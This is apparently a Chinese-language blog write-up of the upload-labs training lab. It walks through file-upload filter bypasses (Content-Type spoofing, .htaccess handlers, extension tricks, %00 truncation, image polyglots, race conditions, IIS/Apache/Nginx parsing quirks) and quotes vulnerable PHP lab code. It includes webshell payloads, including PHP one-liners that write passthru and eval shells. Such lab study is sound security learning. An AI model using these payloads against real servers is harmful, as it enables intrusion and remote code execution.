Upload-labs&Upload Bypass Summarize
- 2019 年 10 月 8 日
- 筆記
前言
暑假闲着也是闲着,去年这个时候刷完了 sqli-labs
,今年想着来刷一下 upload-labs
而这次重点不在于题解,而在于总结与归纳 首先我们得明确一点,即上传的过程

而 burp
的位置在

前端校验
对于前端的校验,上述流程图已经很清晰了,抓包即可破解,所以说前端的校验只能用于提示用户,想要保住安全性是自欺欺人的一种方式 例如 upload-labs
的 pass-01
Pass-01
第一关没有什么好说的,只是一个javascript的检测 而js的检测只能位于client,所以这里利用burp抓包改包就可以绕过,不需要分析了 甚至可以

改掉这里的 checkFile()
即可
后端代码校验
在对上传的文件进行分析的时候,后端的php代码的不严谨,过滤不严格将会引起各种突破方式 下面以upload-labs的题进行分析
Pass-02:content-type问题 Pass-03:黑名单绕过(pht,phtml,phps.....) Pass-04:.htaccess上传 Pass-05:后缀大小写问题 Pass-06:空格未过滤问题 Pass-07:dot处理不严谨 Pass-08:::$DATA Pass-09:Pass-06与Pass-07的组合使用 Pass-10:双写后缀绕过问题 Pass-11:%00截断问题(get) Pass-12:0x00截断问题(post)
这里我选择从源码分析,而非黑盒测试 因为一些上传的 trick
想必大家都见过,但是为什么这样可以绕过,这就需要从源码分析 知其然,知其所以然。
Pass-02
我们分析关键的代码
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . $_FILES['upload_file']['name']; $is_upload = true; }
可以看到,这里只校验了 http header
里的 content-type
,同样抓包修改即可 bypass
Pass-03
还是关键代码
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name']; $is_upload = true; }
不难看到这里使用的是黑名单模式 而过滤非常的少
$deny_ext = array('.asp','.aspx','.php','.jsp');
所以我们利用的方法有多种,但是有先决条件
solution1
首先如果 apache httpd.conf
中有如下一句
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
等等 那么我们可以更改后缀名绕过
solution2
如果发现并不能解析
phtml .phps .php5 .pht......
那么我们还能尝试使用 .htaccess
这里需要
1.mod_rewrite模块开启 2.AllowOverride All
方法: 在apache下http.conf改配置:
AllowOverride All LoadModule rewrite_module modules/mod_rewrite.so
然后上传的 .htaccess
方式也是多样的 1.上传内容为
<FilesMatch "sky233"> SetHandler application/x-httpd-php </FilesMatch>
此时即可上传 sky233
内容可被解析为 .php
2.上传内容为
AddType application/x-httpd-php .jpg
此时即可上传 sky233.jpg
内容可被解析为 .php
Pass-04
关键过滤
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
可以看到依旧没有
.htaccess
所以利用上述该类方法,可以有效绕过
Pass-05
将代码与第4题相比对

明显发现多了一个
.htaccess
并且没有将文件后缀转小写的代码了 于是这里显然可以用大小写绕过,例如 Php

Pass-06
继续与第五题比对

发现第六题删去了将文件名前后去空格的操作 所以可以利用
123.php(空格)
去绕过
Pass-07
继续和第六题比对(左6右7)

发现没有去处文件末尾的点的操作了 于是利用
sky.php.
可以绕过

Pass-08
左8右7 发现这里删掉了 ::$DATA
的限制

漏洞参考
https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream
所以使用
sky.php::$DATA
即可
Pass-09
关键代码如下:
if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) { $img_path = UPLOAD_PATH . '/' . $file_name; $is_upload = true; }
虽然有去末位点和去首位空格的操作 但是并不是循环处理的 所以可以这样构造
sky.php. .
这样经过一轮处理后,变为
sky.php.
剩下的道理如同Pass-07一样 可以轻松绕过
Pass-10
关键代码如下
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) { $img_path = UPLOAD_PATH . '/' .$file_name; $is_upload = true; }
我们发现关键点位于
$file_name = str_ireplace($deny_ext,"", $file_name);
代码并未循环过滤,于是存在
sky.pphphp
这样的绕过

Pass-11
代码关键点在于
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true;
我们容易发现关键点
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true;
这里的路径我们可控
$_GET['save_path']
于是不难想到利用
../upload/sky.php
这样的payload 但是后面会自动拼接后缀 于是想到常见的%00截断即可 payload
../upload/sky.php%00
Pass-12

只是单纯的改成了post形式 不再做多余的分析
图片渲染解析问题
确保用户上传的是真实图片而非恶意文件,图片的解析也是一个重要的问题 但这里一般需要打组合拳 即利用文件包含/php伪协议+图片上传 而这里只要求我们上传带有小马的图片即可
Pass-13:unpack() Pass-14:getimagesize() Pass-15:exif_imagetype() Pass-16:imagecreatefromjpeg()
以上函数基本上用图片隐写就可以bypass 即
copy normal.jpg /b + shell.php /a webshell.jpg
或是jpg图片FFD9后加小马
Pass-13

这里的任务是要求传一个带有小马的图片

这里简单的添加到jpg图片末位FFD9后就行了 但这里的利用一般要配合文件包含,但是题目的要求到这里就结束了
Pass-14
利用
$info = getimagesize($filename); $ext = image_type_to_extension($info[2]);
获取图像类型,绕过方法同Pass-13
Pass-15
function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } }
这里用了 exif_imagetype()
去判断文件类型 同样用Pass-13的方法可以绕过
Pass-16
$im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!";}
这里使用了 imagecreatefromjpeg()
来判断文件类别 同样可用Pass-13的方法绕过
条件竞争问题
有时候你上传的文件,服务端会将其删除或是重命名 这里就需要用到条件竞争的方式 方式也很简单 即用Burp不断上传,再用burp不断访问 一般常见的上传内容为
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
这样在你访问到的同时,就会在当前目录写下一个shell,下次就不用竞争利用了 这里有一道很经典的题目(N1CTF-hard php)
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
利用phpinfo中上传的tmp文件,条件竞争,进行文件包含,getshell 以及PHP_SESSION_UPLOAD_PROGRESS的条件竞争,包含getshell的问题
http://skysec.top/2018/03/12/N1CTF-2018-Web/#easy-php
这里额外提一句:对于条件竞争,有时候存在非预期 例如:
-a
同样出自N1CTF(hard-php)
https://xz.aliyun.com/t/2148
这样的文件一般情况无法删除的问题 还有比较常用的可让unlink不运行
/.
绕过的问题
PHP底层问题
Pass-19
关键代码如下
if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { $is_upload = true; } }
这里可以直接使用
sky.php/.
去绕过

访问

具体原因来自于
move_uploaded_file()
该函数会递归删除文件名最后的 /.
详细分析可看
http://wonderkun.cc/index.html/?p=626 http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
类似的函数,上述师傅的blog已经有提及,我就不再赘述,毕竟他们都是跟过底层的大佬XD
畸形解析
上述方法都不行?试试畸形解析吧!
IIS 6.0
IIS 6.0解析利用方法有三种: 1.目录解析 建立 xx.asp
为名称的文件夹,将asp文件放入,访问 /xx.asp/xx.jpg
,其中 xx.jpg
可以为任意文件后缀,即可解析 2.文件解析 后缀解析: /xx.asp;.jpg /xx.asp:.jpg
(此处需抓包修改文件名) 3.默认解析 IIS6.0 默认的可执行文件除了asp还包含这三种
/wooyun.asa /wooyun.cer /wooyun.cdx
IIS 7.0/7.5
在正常图片URL后添加 /.php 小马如下
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
Apache
后缀解析: test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3
则会被解析为php
Nginx<8.03
法1:同 IIS7.0/7.5
法2: xxx.jpg%00.php
后记
上传的可能存在的问题有很多,由于入行未深,浅尝辄止,若各位大佬有更好的奇淫技巧,敬请补充!
参考链接
http://www.sostan.com/hk/webhackiis7/ http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/ https://xz.aliyun.com/t/2148 https://github.com/LandGrey/upload-labs-writeup https://blog.csdn.net/u010726042/article/details/78037696 http://wonderkun.cc/index.html/?p=626 http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html